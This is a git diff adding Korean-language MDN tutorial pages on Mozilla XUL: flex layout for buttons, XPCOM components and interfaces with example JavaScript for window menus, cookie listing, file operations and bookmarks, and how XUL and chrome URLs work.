+ 이 경우 유연성(flexibility)은 두 버튼에서 균등하게 나뉘어집니다. 두 버튼은 균등하게 크기를 변경하게 됩니다.
+
+ 예제 2 
+
+ 이 경우, 두 버튼은 커지긴 하지만, Cancel 버튼의 flex값이 Find 버튼의 flex값보다 10배 크기 때문에, 찾기(Find) 버튼은 항상 취소(Cancel)버튼의 크기 증가값의 1/10 크기만큼만 변하게 됩니다. 가능한 공간은 1만큼의 Find 버튼 영역과 10만큼의 Cancel 버튼 영역으로 나누어지게 됩니다.
+
+ 예제 3 
+
+ 버튼 중 2개만이 유연하도록 표시되어 있습니다. Replace 버튼은 절대 크기가 변하지 않을 것이고, 나머지는 변할 것입니다. 취소(Cancel) 버튼은 항상 찾기(Find) 버튼의 두 배만큼 커지는데 이는 flex 값이 두배이기 때문입니다.
+
+ 예제 4 
+
+ 이 경우, 3개 모두 유연함을 가지고 있습니다. 찾기(Find)와 바꾸기(Replace) 버튼은 항상 같은 크기이지만 취소(Cancel)은 약간은 더 크게 됩니다(정확히 말하면 50% 더 커집니다).
+
+ 예제 5 
+
+ 여기서는 두 개 버튼이 div 요소내에 있습니다. 이처럼 버튼이 상자내에 직접 사용되지 않은 경우에는 flex의 의미가 없어집니다. 이 경우에는 flex가 없는 것과 동일한 효과를 보이게 됩니다.
+
+ 예제 6 
+
+ 두 버튼의 flex 값이 모두 같기 때문에, 동일하게 변합니다. flex에 145 대신 1값을 적용하더라도 동일하게 동작할 것입니다. 이 경우에는 전혀 차이가 없습니다. 여러분은 가독성을 위해서 가능한 낮은 숫자를 사용할 것을 권장합니다.
+
+

버튼의 라벨과 최소 크기 같은 다른 요인들이 버튼의 실제 크기에 영향을 준다는 점을 반드시 명심하세요. 예를 들어 버튼에 포함된 라벨이 필요로 하는 공간보다 작게는 줄어들지는 않을 것입니다.

+

flex값을 0으로 설정하는 것은 flex 속성을 사용하지 않은 것과 같은 효과를 나타냅니다. 이것은 해당 요소가 전혀 유연하지 않게 된다는 것을 의미합니다. 여러분은 때때로 flex 값을 백분률로 지정한 것을 볼 수도 있을 것입니다. 이것은 특별한 의미는 없고 백분률 기호(%)가 없는 것처럼 처리됩니다.

+

여러분은 파일 찾기 대화상자를 수직으로 크기 조절을 했을 때 버튼의 크기가 자동적으로 창의 높이에 맞게 늘어나는 것을 보실 수 있을 것입니다. 이것은, 모든 버튼들은 내부적으로 수직 flex가 지정되어 있기 때문입니다. 다음 섹션에서는 이것을 어떻게 수정할 수 있는지에 대해 공부하겠습니다.

+
+
여태까지의 파일 찾기 예제
+

Source View

+
+

다음에는 버튼의 부가적인 기능들에 대해 알아보겠습니다.

+

+

« 이전다음 »

+

+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/xpcom_examples/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/xpcom_examples/index.html new file mode 100644 index 0000000000..4b3eaea401 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/xpcom_examples/index.html @@ -0,0 +1,132 @@ +--- +title: XPCOM Examples +slug: Mozilla/Tech/XUL/XUL_Tutorial/XPCOM_Examples +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/XPCOM_Examples +--- +

+

+

« 이전다음 »

+
+

본 단원에서는 몇가지 인터페이스와 함께 XPCOM를 이용하는 예제를 제공합니다. +

+

창 관리

+
+

본 예제에는 이후 단원에서 보게될 RDF 데이터소스에 대한 내용이 들어 있습니다. 따라서 이에 대한 지식이 없다면 넘어가도 괜찮습니다. +

+
+

창 메뉴 만들기

+

The list of currently open Mozilla windows can be used as an RDF datasource. This allows you to create a Window menu with a list of the currently open windows in the application. The datasource for this is rdf:window-mediator. We can use this as in the following example: +

Example 1 : Source +

+
<toolbox>
+ <menubar id="windowlist-menubar">
+  <menu label="Window">
+   <menupopup id="window-menu" datasources="rdf:window-mediator" ref="NC:WindowMediatorRoot">
+    <template>
+     <rule>
+      <menuitem uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/>
+     </rule>
+    </template>
+   </menupopup>
+  </menu>
+ </menubar>
+</toolbox>
+
+

A Window menu will be created with a list of all the open windows. Try this example by opening a number of browser windows and you'll see that they are all listed on the menu. +

+

Window mediator component

+

This is fine for displaying a list of open windows, but we would like to enhance this so that clicking on the menu item will switch to that window. This is accomplished by using the window mediator component. It implements the interface nsIWindowDataSource. The code below shows how to get a component which implements it: +

+
var wmdata = Components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"].getService();
+wmdata.QueryInterface(Components.interfaces.nsIWindowDataSource);
+
+

This code retrieves a window mediator data source component. The component used here is the same one that handles the window-mediator RDF datasource. You can also get this component through the RDF service, which is another service that manages RDF datasources. +

The nsIWindowDataSource interface has a function getWindowForResource, which can be used to get the window given a resource. In the earlier example, we generated the list of windows and added it to a menu via a template. The template generates an id attribute on each menuitem element. The value of this attribute can be used as the resource. That means that in order to switch the window focus, we need to do the following: +

+
  1. Determine the element that the user clicked on. +
  2. Get the value of the id attribute from the element. +
  3. Pass this value to getWindowForResource() to get a window object. +
  4. Switch the focus to this window. +
+

The example below shows how we might do this: +

+
<toolbox>
+ <menubar id="windowlist-menubar">
+  <menu label="Window" oncommand="switchFocus(event.target);">
+   <menupopup id="window-menu" datasources="rdf:window-mediator" ref="NC:WindowMediatorRoot">
+    <template>
+     <rule>
+      <menuitem uri="rdf:*" label="rdf:http://home.netscape.com/NC-rdf#Name"/>
+     </rule>
+    </template>
+   </menupopup>
+  </menu>
+ </menubar>
+</toolbox>
+
+<script>
+function switchFocus(elem)
+{
+  var mediator = Components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"].getService();
+  mediator.QueryInterface(Components.interfaces.nsIWindowDataSource);
+
+  var resource = elem.getAttribute('id');
+  switchwindow = mediator.getWindowForResource(resource);
+
+  if (switchwindow){
+    switchwindow.focus();
+  }
+}
+</script>
+
+

A command handler was added to the menu element which calls the function switchFocus() with a parameter of the element that was selected from the menu. The function switchFocus(): +

+ +

쿠기(cookies)

+

다음으로 브라우저에 저장된 쿠키 목록을 가져와 보겠습니다. 쿠키 서비스는 다양한 목적으로 사용될 수 있습니다. 쿠키 서비스는 nsICookieManager 인터페이스를 구현하고 있으며, 저장된 모든 쿠키를 열거하는데 사용할 수 있습니다. 다음은 MozillaZine에서 설정된 모든 쿠키의 이름을 메뉴 목록에 출력하는 예제입니다. +

+
<script>
+
+function getCookies()
+{
+  var menu = document.getElementById("cookieMenu");
+  menu.removeAllItems();
+
+  var cookieManager = Components.classes["@mozilla.org/cookiemanager;1"]
+                        .getService(Components.interfaces.nsICookieManager);
+
+  var iter = cookieManager.enumerator;
+  while (iter.hasMoreElements()){
+    var cookie = iter.getNext();
+    if (cookie instanceof Components.interfaces.nsICookie){
+      if (cookie.host == "www.mozillazine.org")
+        menu.appendItem(cookie.name,cookie.value);
+    }
+  }
+}
+</script>
+
+<hbox>
+  <menulist id="cookieMenu" onpopupshowing="getCookies();"/>
+</hbox>
+
+


+getCookies() 함수는 메뉴가 열릴때마다 호출되는데, 이는 menulist 요소의 onpopupshowing 속성에 지정되어 있습니다. getCookies() 함수의 처음 두줄은 menulist를 가져와서 현재 메뉴에 있는 모든 항목을 삭제하는 것입니다. 이것은 getCookies() 함수가 메뉴가 열릴때마다 호출되고, 매번 이전 항목이 남아있지 않아야 하기 때문입니다. +

다음은 쿠키 관리자에 대한 참조를 받아옵니다. 쿠키 관리자에는 nsISimpleEnumerator 인터페이스를 구현하는 객체를 반환하는 enumerator 메소드가 있습니다. 이 메소드는 모든 쿠키별로 반복(iteratee)하기 위해 사용됩니다. 해당 인터페이스(nsISimpleEnumerator)에는 hasMoreElements() 메소드가 있으며 마지막 쿠키에 도달하기 전까지는 true를 반환합니다. getNext() 메소드는 쿠키를 가져온 후 열거자(enumerator)의 인덱스를 다음 쿠키로 이동합니다. enumerator는 범용 객체를 반환하기 때문에, 사용하기 전에 QueryInterface() 함수로 nsICookie 인터페이스를 얻어와야 합니다. 예제에서는 instanceof 연산자를 사용하였습니다. +

마지막으로 메뉴에 쿠키를 추가하며, 이를 위해 쿠키의 호스트, 이름, 값이 사용되었습니다. 메뉴에는 appendItem() 함수가 있으며, 이 함수는 주어진 라벨과 값으로 메뉴 항목을 추가하는데 사용됩니다. +

+

또 볼곳

+

아래에서 좀더 많은 예제를 볼 수 있습니다. +

+ +

다음에는 트리의 작성방법에 대해 알아보겠습니다. +

+

« 이전다음 »

+
+

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/xpcom_interfaces/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/xpcom_interfaces/index.html new file mode 100644 index 0000000000..135628bf09 --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/xpcom_interfaces/index.html @@ -0,0 +1,187 @@ +--- +title: XPCOM Interfaces +slug: Mozilla/Tech/XUL/XUL_Tutorial/XPCOM_Interfaces +tags: + - XPConnect + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/XPCOM_Interfaces +--- +

 

+ +

+

« 이전다음 »

+

+ +

이번 단원에서는, Mozilla가 사용하는 객체 시스템인 XPCOM (Cross-platform Component Object Model)에 대해 간단히 알아보겠습니다.

+ +

네이티브 객체 호출하기

+ +

우리는 XUL을 사용해서 복잡한 사용자 인터페이스를 작성할 수 있습니다. 또한, 인터페이스를 변경하고 어떤 작업을 수행하는 스크립트를 붙일 수도 있습니다. 그러나 아직도 JavaScript를 이용해서 직접적으로 수행할 수 없는 많은 것들이 존재합니다. 예를 들어, 메일 응용프로그램을 작성하고자 한다면, 메일 서버에 접속해서 메일을 보내거나 받을 수 있는 스크립트를 작성해야 할 것입니다. 그러나 JavaScript로는 이러한 것들을 할 수 없습니다.

+ +

이러한 기능을 처리할 수 있는 유일한 방법은 메일을 주고 받을 수 있는 네이티브(native) 코드를 작성하는 것입니다. 또한 작성된 네이티브 코드를 스크립트에서 손쉽게 호출할 수 있는 방법도 있어야 할 것입니다. Mozilla는 XPCOM (Cross-platform Component Object Model)을 사용해 이러한 것들을 수행할 수 있는 방법을 제공합니다.

+ +
+

Mozilla에서는 많은 수의 XPCOM 컴포넌트와 인터페이스를 제공합니다. 따라서 대부분의 경우 직접 네이티브 코드를 작성할 필요는 없을 것입니다. 이번 단원을 학습한 후에 XULPlanet XPCOM Reference를 보면서 필요한 인터페이스를 찾을 수 있을 것입니다.

+
+ +

XPCOM에 관하여

+ +

Mozilla는 각각의 고유한 작업을 수행하는 컴포넌트들의 집합으로 구성되어 있습니다. 예를 들어, 메뉴, 버튼, 요소들에 해당하는 컴포넌트가 있습니다. 컴포넌트들은 인터페이스라고 불리는 정의들로부터 구축됩니다.

+ +

Mozilla에서의 인터페이스는 컴포넌트들에 의해 구현되어야 하는 기능들의 집합입니다. 컴포넌트는 무엇인가를 수행하는 Mozilla에 있는 코드를 구현한 것입니다. 각각의 컴포넌트는 인터페이스에 서술된데로 기능을 구현합니다. 단일 컴포넌트가 여러 개의 인터페이스를 구현할 수도 있고, 여러 개의 컴포넌트들이 하나의 인터페이스를 구현할 수도 있습니다.

+ +

파일 컴포넌트를 예로 들어 보겠습니다. 인터페이스는 파일이 수행할 수 있는 함수와 속성을 서술하여 작성할 필요가 있을 것입니다. 파일에는 이름, 수정일자, 크기와 같은 속성과 파일의 이동, 복사, 삭제를 수행하는 함수가 포함되어야 할 것입니다.

+ +

파일 인터페이스는 파일의 특성에 대해서만 서술하고, 이를 구현하지는 않습니다. 파일 인터페이스의 구현은 컴포넌트의 몫입니다. 컴포넌트는 파일의 이름과 날짜, 크기 등을 가져올 수 있는 코드를 가질 것입니다. 또한 파일을 복사하거나 이름을 바꾸는 코드도 있을 것입니다.

+ +

컴포넌트가 인터페이스를 올바르게 구현했다면 어떻게 구현되는지에 대해서는 신경쓰지 않아도 됩니다. 물론 플랫폼에 따라 서로 다른 구현이 있을 것입니다. 파일 컴포넌트의 Windows와 Macintosh 버전은 꽤 틀릴 것입니다. 그러나 그들은 모두 동일한 인터페이스를 구현할 것입니다. 따라서 우리는 인터페이스를 통해 알게 된 함수로 접근함으로서 해당 컴포넌트를 사용할 수 있습니다.

+ +

Mozilla에서 인터페이스 이름을 쉽게 알아볼 수 있도록, 보통 'nsI', 'mozI'가 이름 앞에 붙습니다. 예를 들어 nsIAddressBook는 주소록과 관련된 인터페이스이며, nsISound는 음악 파일을 플레이 하는데 사용되며, nsILocalFile는 파일을 사용하는 것과 관련된 인터페이스 입니다. Mozilla에 있는 많은 인터페이스에 대해서는 인터페이스를 참조하세요.

+ +

XPCOM 컴포넌트는 대부분 네이티브 코드로 구현되어 있으며, 이는 JavaScript가 자체적으로는 하지 못하는 것들을 할 수 있다는 것을 의미합니다. 그러나 잠시 후 보시겠지만, 이를 호출할 수 있는 방법이 있습니다. 우리는 인터페이스에서 기술한데로 이를 구현한 컴포넌트에서 제공되는 어떤 함수도 호출할 수 있습니다. 예를 들어 어떤 컴포넌트를 가지고 있다면, 그것이 nsISound 인터페이스를 구현하는지 검사할 수 있으며, 그렇다면 그것을 통해 음악을 플레이 할 수 있습니다.

+ +

스크립트에서 XPCOM을 호출하는 절차를 XPConnect라고 부르며, 이는 스크립트 객체를 네이티브 객체로 변환해주는 계층(layer)입니다.

+ +

XPCOM 객체 생성

+ +

XPCOM 컴포넌트를 호출하는데는 3가지 단계가 있습니다.

+ +
    +
  1. 컴포넌트를 얻는다.
  2. +
  3. 사용하고자 하는 인터페이스를 구현한 컴포넌트의 일부를 얻는다.
  4. +
  5. 필요한 함수를 호출한다.
  6. +
+ +

처음 두 단계만 실행하면, 마지막 단계는 필요시마다 반복할 수 있습니다. 우리가 파일 이름을 바꾼다고 합시다. 이를 위해 우리는 nsILocalFile 인터페이스를 사용할 수 있습니다. 첫번째 단계는 파일 컴포넌트를 얻어오는 것입니다. 두번째는 파일 컴포넌트에 질의해서 nsILocalFile 인터페이스를 구현하는 부분은 얻어오는 것입니다. 마지막으로 해당 인터페이스에서 제공하는 함수를 호출합니다. 이 인터페이스는 하나의 파일을 표현하는데 사용됩니다.

+ +

우리는 인터페이스 이름이 'nsI'나 'mozI'로 시작하는 것을 자주 봤습니다. 그러나 컴포넌트는 URI와 같은 문자열을 사용해서 참조됩니다. Mozilla는 내부 레지스트리에 사용 가능한 모든 컴포넌트의 목록을 저장하고 있습니다. 사용자는 필요한 경우 새로운 컴포넌트를 설치할 수 있습니다. 이는 플러그인과 아주 비슷하게 동작합니다.

+ +

Mozilla에서는 파일 컴포넌트를 제공하며, 이는 nsILocalFile 인터페이스를 구현합니다. 이 컴포넌트는 '@mozilla.org/file/local;1'로 참조될 수 있으며 이 문자열을 계약(contract)ID라고 부릅니다. 계약ID의 구문은 다음과 같습니다.

+ +
@<internetdomain>/module[/submodule[...]];<version>[?<name>=<value>[&<name>=<value>[...]]]
+
+ +

다른 컴포넌트들도 이와 비슷한 방법으로 참조할 수 있습니다.

+ +

컴포넌트의 계약ID는 컴포넌트를 얻기 위해 사용할 수 있으며, JavaScript 코드를 사용해 컴포넌트를 얻는 방법은 다음과 같습니다.

+ +
var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance();
+
+ +

파일 컴포넌트를 얻어와aFile 변수에 저장하였습니다. 예제의 Components는 컴포넌트와 관련된 함수를 제공하는 범용 객체를 참조합니다. 여기서 우리는 classes 속성으로부터 컴포넌트 클래스를 얻어옵니다. classes 속성은 사용할 수 있는 모든 컴포넌트를 가지고 있는 배열입니다. 다른 컴포넌트를 얻어오려면 대괄호 안에 있는 계약ID를 사용하고자 하는 컴포넌트의 ID로 변경하면 됩니다. 마지막으로 createInstance() 함수를 이용해 인스턴스를 생성하였습니다.

+ +

여러분은 createInstance()함수의 반환값이, 컴포넌트가 존재하지 않는다는 것을 의미하는 null이 아닌지 확인하는게 좋습니다.

+ +

그러나 이 시점에서 우리는 파일 컴포넌트 자체에 대한 참조만을 얻었을 뿐입니다. 컴포넌트 내의 함수를 호출하기 위해서는 컴포넌트의 인스턴스를 얻어야만 합니다. 이 경우에는 nsILocalFile로 다음의 두번째 줄에서 필요한 코드가 추가되어 있습니다.

+ +
var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance();
+if (aFile) aFile.QueryInterface(Components.interfaces.nsILocalFile);
+
+ +

QueryInterface() 는 모든 컴포넌트에서 제공되는 함수로, 해당 컴포넌트의 특정 인터페이스를 얻기 위해 사용됩니다. 이 함수는 얻고자 하는 인터페이스를 명시한 한 개의 인자를 받습니다. Components 객체의 interfaces 속성에는 해당 컴포넌트에서 사용 가능한 모든 인터페이스의 목록이 들어 있습니다. 여기서 우리는 nsILocalFile 인터페이스를 사용하고자 하므로, 이를 QueryInterface()의 인자로 넘겼습니다. 결과적으로 aFile 변수는 파일 컴포넌트에서 nsILocalFile 인터페이스를 구현하는 부분을 참조하게 됩니다.

+ +

위의 JavaScript 코드는 아무 컴포넌트의 어떤 인터페이스에서도 사용할 수 있습니다. 코드의 컴포넌트 이름을 사용하고자 하는 컴포넌트와 인터페이스 이름으로 바꿔서 사용하면 됩니다. 또 당연히 변수 이름도 바꿀 수 있습니다. 예를 들어 사운드 인터페이스를 얻으려면 다음과 같이 수정하면 됩니다.

+ +
var sound = Components.classes["@mozilla.org/sound;1"].createInstance();
+if (sound) sound.QueryInterface(Components.interfaces.nsISound);
+
+ +

XPCOM 인터페이스는 다른 인터페이스로부터 상속될 수 있습니다. 다른 인터페이스로부터 상속된 인터페이스는 자신의 함수와 부모 인터페이스가 가진 모든 함수를 가지게 됩니다. 모든 인터페이스는 nsISupports라고 불리는 최상위 인터페이스에서 상속됩니다. 이 인터페이스에는 앞서 보았던 JavaScript를 지원하기 위한 목적인 QueryInterface()라는 한가지 함수만 있습니다. nsISupports 인터페이스가 모든 컴포넌트에 의해 구현되기 때문에, QueryInterface() 함수도 모든 컴포넌트에서 사용할 수 있는 것입니다.

+ +

몇몇 컴포넌트들은 동일한 인터페이스를 구현할 수도 있습니다. 그러한 경우 보통은 어떤 클래스의 서브클래스들인 경우이겠지만, 꼭 그래야 하는것은 아닙니다. 아무 컴포넌트나 nsILocalFile의 기능을 구현할 수 있습니다. 또한 하나의 컴포넌트가 여러개의 인터페이스를 구현할 수도 있습니다. 이런 이유들 때문에 위와 같이 두 단계로 진행되는 것입니다.

+ +

그러나 위의 코드를 자주 사용하기 때문에 다음과 같이 줄여서도 사용할 수 있습니다.

+ +
var aLocalFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile);
+
+ +

이 코드는 앞서의 두줄 짜리 코드와 동일한 일을 하는 한줄 짜리 코드입니다. 여기서는 앞서의 두 단계에 있었던 인스턴스를 생성한 후에 인터페이스를 얻기 위해 쿼리하는 부분이 제거되었습니다.

+ +

만일 객체에 QueryInterface()를 호출하고 해당 객체에서 지원하지 않는 인터페이스를 요청하면 예외가 발생합니다. 어떤 컴포넌트에서 어떤 인터페이스가 지원되는지 확신이 없을 경우 이를 확인하기 위해 instanceof 연산자를 사용할 수 있습니다.

+ +
var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance();
+if (aFile instanceof Components.interfaces.nsILocalFile){
+  // do something
+}
+
+ +

위 코드에서 instanceof 연산자는 aFile이 nsILocalFile 인터페이스를 구현하였다면 true를 반환합니다. 이것은 QueryInterface()를 호출하는 것에 대한 부작용이 있으며, 따라서 aFile은 이후에 유효해집니다.

+ +

인터페이스의 함수 호출

+ +

이제 우리는 nsILocalFile 인터페이스를 구현한 컴포넌트를 참조하는 객체를 가지고 있으므로, 이로부터 nsILocalFile의 함수를 호출할 수 있습니다. 아래의 표는 nsILocalFile 인터페이스에 있는 함수와 메소드의 일부를 보여주고 있습니다.

+ +
+
initWithPath 
+
이 메소드는 nsILocalFile에서 사용할 파일명과 경로를 초기화하는데 사용됩니다. 첫번째 인자는 '/usr/local/mozilla'와 같은 파일 경로이어야 합니다.
+
leafName 
+
디렉토리 부분을 뺀 파일명.
+
fileSize 
+
파일 크기.
+
isDirectory() 
+
nsILocalFile이 디렉토리이며 true를 반환합니다.
+
remove(recursive) 
+
파일을 삭제합니다. 만일 recursive 인자가 true이면 디렉토리와 이 안에 있는 모든 파일, 하위 디렉토리 모두 삭제됩니다.
+
copyTo(directory,newname) 
+
파일을 다른 디렉토리로 복사하며, 선택적으로 파일명을 바꿀 수 있습니다. directory 인자는 파일이 복사될 디렉토리에 대한 nsILocalFile 객체이어야 합니다.
+
moveTo(directory,newname) 
+
파일을 다른 디렉토리로 이동하거나 이름을 변경합니다. directory 인자는 파일이 이동할 대상 디렉토리에 대한 nsILocalFile 객체이어야 합니다.
+
+ +

파일을 삭제하기 위해서 먼저 해당 파일을 nsILocalFile에 할당해야 합니다. initWithPath() 메소드를 호출함으로서 어떤 파일인지를 알려줍니다. 이 속성에는 그냥 파일의 경로만 할당하세요. 다음으로 remove() 함수를 호출합니다. 이 함수는 재귀적으로 삭제할지를 나타내는 한개 인자만을 받습니다. 아래 코드는 이러한 두 단계를 보여줍니다.

+ +
var aFile = Components.classes["@mozilla.org/file/local;1"].createInstance();
+if (aFile instanceof Components.interfaces.nsILocalFile){
+  aFile.initWithPath("/mozilla/testfile.txt");
+  aFile.remove(false);
+}
+
+ +

이 코드는 /mozilla/testfile.txt 파일을 삭제할 것입니다. 임의의 이벤트 핸들러에 위 코드를 추가해서 실행해 보세요. 위의 파일명은 삭제하고자 하는 것으로 바꿔주어야 할 것입니다.

+ +

위 표에 있는 함수들 중 copyTo()와 moveTo() 함수는 각각 파일을 복사하고 이동하기 위해 사용됩니다. 여기서 주의할 것은 이 함수들의 복사하거나 이동할 대상 디렉토리 인자가 문자열 값이 아닌 nsILocalFile 이어야 한다는 점입니다. 이것은 이 함수를 실행하려면 두 개의 파일 컴포넌트가 필요하다는 것을 의미합니다. 아래 예제는 어떻게 파일을 복사하는지를 보여줍니다.

+ +
function copyFile(sourcefile,destdir)
+{
+  // get a component for the file to copy
+  var aFile = Components.classes["@mozilla.org/file/local;1"]
+    .createInstance(Components.interfaces.nsILocalFile);
+  if (!aFile) return false;
+
+  // get a component for the directory to copy to
+  var aDir = Components.classes["@mozilla.org/file/local;1"]
+    .createInstance(Components.interfaces.nsILocalFile);
+  if (!aDir) return false;
+
+  // next, assign URLs to the file components
+  aFile.initWithPath(sourcefile);
+  aDir.initWithPath(destdir);
+
+  // finally, copy the file, without renaming it
+  aFile.copyTo(aDir,null);
+}
+
+copyFile("/mozilla/testfile.txt","/etc");
+
+ +

XPCOM 서비스

+ +

어떤 XPCOM 컴포넌트들은 서비스라 불리는 특별한 컴포넌트들입니다. 이것들은 꼭 하나만 존재해야 하기 때문에 인스턴스를 만들지 않습니다. 서비스는 전역 데이터를 획득 또는 지정하거나 다른 객체들에 대한 어떤 동작을 수행하기 위한 범용 함수를 제공합니다. 서비스 컴포넌트에 대한 참조를 얻어오기 위해서는 createInstance()<code> 함수 대신 <code>getService() 함수를 호출해야 합니다. 이것 이외에는 다른 컴포넌트들과 특별히 다른점은 없습니다.

+ +

Mozilla에서 제공하는 서비스들 중 북마크 서비스가 이에 해당합니다. 이 서비스를 이용하면 현재 사용자의 북마크 목록에 북마크를 추가할 수 있습니다. 다음은 이에 대한 예입니다.

+ +
var bmarks = Components.classes["@mozilla.org/browser/bookmarks-service;1"].getService();
+bmarks.QueryInterface(Components.interfaces.nsIBookmarksService);
+bmarks.addBookmarkImmediately("http://www.mozilla.org","Mozilla",0,null);
+
+ +

먼저 "@mozilla.org/browser/bookmarks-service;1" 컴포넌트가 반환되고 이의 서비스가 bmarks 변수에 저장되었습니다. 우리는 nsIBookmarksService 인터페이스를 얻기 위해 QueryInterface()를 사용했습니다. 이 인터페이스에서 제공하는 addBookmarkImmediately() 함수는 북마크를 추가하기 위해 사용됩니다. 이 함수의 처음 두개의 인자는 북마크의 URL과 제목입니다. 세번째 인자는 북마크 유형으로 보통 0이며, 마지막 인자는 북마크될 문서의 문자 인코딩으로 null일 수 있습니다.

+ +

다음에는 우리가 사용할 수 있는 Mozilla에서 제공하는 몇가지 인터페이스에 대해 알아보겠습니다.

+ +

+

« 이전다음 »

+

+ +

diff --git a/files/ko/mozilla/tech/xul/xul_tutorial/xul_structure/index.html b/files/ko/mozilla/tech/xul/xul_tutorial/xul_structure/index.html new file mode 100644 index 0000000000..4f1326dc6a --- /dev/null +++ b/files/ko/mozilla/tech/xul/xul_tutorial/xul_structure/index.html @@ -0,0 +1,166 @@ +--- +title: XUL Structure +slug: Mozilla/Tech/XUL/XUL_Tutorial/XUL_Structure +tags: + - XUL + - XUL_Tutorial +translation_of: Archive/Mozilla/XUL/Tutorial/XUL_Structure +--- +

+

« 이전다음 »

+

+ +


+ 우리는 먼저 Mozilla에서 XUL의 작동 방식에 대해 알아볼 것 입니다.

+ +

XUL의 작동 방식

+ +

Mozilla에서 XUL은 HTML이나 다른 유형의 컨텐츠가 동작하는 것과 매우 비슷한 방법으로 동작합니다. 사용자가 브라우저의 주소 영역에 HTML 페이지의 URL을 입력하면, 브라우저는 해당 웹 사이트를 찾고 내용을 다운로드합니다. Mozilla의 렌더링 엔진은 HTML 소스 형태인 내용을 가져와서 DOM이라고 하는 문서 트리 구조로 변환합니다. 그 후 트리는 화면에 출력될 수 있는 객체 집합으로 변경됩니다. CSS, 이미지, 기타 다른 기술들이 출력을 제어하는데 사용됩니다. XUL도 동일한 방식으로 동작합니다.

+ +

사실 Mozilla에서는 문서 형태가 HTML, XUL 혹은 SVG 인지 상관없이 동일한 내부 코드에 의해 작동됩니다. 이것은 동일한 CSS 속성을 HTML과 XUL 모두의 스타일에 사용할 수 있으며, 많은 기능들을 공유할 수 있다는 것을 의미합니다. 그러나 HTML에서의 폼(form)이나 XUL에서의 overlays같이 고유한 것들도 존재합니다. XUL과 HTML은 동일한 방법으로 동작하므로 둘 다 로컬 파일 시스템, 웹 페이지, 확장 기능 혹은 독립형 XULRunner 응용프로그램을 통해 로드할 수 있습니다.

+ +

http://localhost/~username/과 같은 원격지의 컨텐츠는 문서 형태가 HTML이나 XUL 혹은 다른 형태인지에 상관없이 보안상의 이유로 컨텐츠가 수행할 수 있는 동작에 제한을 가지게 됩니다. 이러한 이유 때문에 Mozilla에서는 컨텐츠를 로컬에 설치하고 chrome 시스템의 일부분으로 등록할 수 있는 방법을 제공하고 있습니다. 이는 chrome:// URL이라고 불리는 특별한 URL 형식에 의해 가능합니다. Chrome URL을 사용하여 파일에 접근하게 되면, 해당 파일들은 로컬 파일이나 설정, 북마크 등에 접근할 수 있는 향상된 권한을 가지며, 또 다른 권한이 필요한 동작을 수행할 수 있습니다. 전자 인증서로 서명되거나 그러한 행위를 수행하도록 허가되지 않는다면, 당연히 웹 페이지들은 이러한 권한을 얻을 수 없습니다.

+ +

이러한 chrome 꾸러미의 등록이 Firefox 확장 기능이 브라우저에 기능을 추가할 수 있는 방법입니다. 확장 기능은 XUL, 자바스크립트, 스타일시트, 이미지들을 단일 파일로 묶어 놓은 작은 꾸러미입니다. 이 파일은 ZIP 유틸리티를 이용하여 생성할 수 있습니다. 사용자가 꾸러미 파일을 다운로드 받으면, 컴퓨터에 확장 기능이 설치될 것입니다. 꾸러미는 브라우저의 XUL과 확장 기능의 XUL을 조합하는 overlay라는 고유 기능을 사용하여 브라우저에 잡히게 됩니다. 사용자에게는 마치 확장 기능이 브라우저를 수정한것 처럼 보이겠지만 사실 모든 코드는 분리되어 있으며 확장 기능은 쉽게 설치 해제(uninstall)할 수 있습니다. 물론 등록된 꾸러미가 꼭 overlay를 사용해야 할 필요는 없습니다. Overlay를 사용하지 않는 꾸러미들은 메인 브라우저의 인터페이스를 통해서는 접근할 수 없지만, chrome URL을 이용해서 여전히 접근할 수 있습니다.

+ +

독립형 XUL 응용프로그램들은 유사한 방법으로 XUL코드를 포함할 수 있지만, 당연히 확장기능처럼 별도로 설치되어야만 하는 것과는 달리 응용프로그램을 위한 XUL이 설치의 일부분에 포함되어야만 합니다. 그러나 이러한 XUL 코드가 응용프로그램이 UI를 출력할 수 있는 것과 같은 chrome 시스템에 등록될 것입니다.

+ +

Mozilla 브라우저 자체는 XUL 파일, 자바스크립트, 스타일시트를 포함하는 꾸러미 집합이라는 것을 알 필요가 있습니다. 이러한 파일들은 chrome URL을 통해 접근 가능하고 보다 강화된 권한을 가지며 다른 꾸러미들처럼 동작합니다. 물론 브라우저는 대부분의 확장기능보다 더 크고 복잡합니다. 수 많은 다른 컴포넌트들뿐만 아니라 Firefox와 Thunderbird도 모두 XUL로 작성되어 있고 chrome URL을 통해 접근할 수 있습니다. 여러분은 이러한 꾸러미를 Firefox나 다른 XUL 응용 프로그램이 설치된 chrome 디렉토리에서 확인할 수 있습니다.

+ +

Chrome URL은 항상 'chrome://'로 시작합니다. 'http://' URL이 항상 HTTP를 사용해 접근하는 원격 웹 사이트를 참조하고, 'file://' URL이 항상 로컬 파일을 참조하는 것과 마찬가지로 'chrome://' URL은 항상 설치된 꾸러미와 확장기능을 참조합니다. 다음 섹션에서 chrome URL의 구문에 대해 좀 더 자세히 알아 볼 것입니다. Chrome URL을 통해 컨텐츠에 접근할 때는 위에서 언급한 다른 종류의 URL이 갖지 못한 강화된 권환을 획득한다는 것에 유의하십시요. 예를 들어 HTTP URL은 특별한 권한을 가지고 있지 않으므로, 웹 페이지가 로컬 파일을 읽으려고 하면 오류가 발생할 것입니다. 그러나 chrome URL을 이용하여 로드된 파일은 제약 없이 파일을 읽을 수 있습니다.

+ +

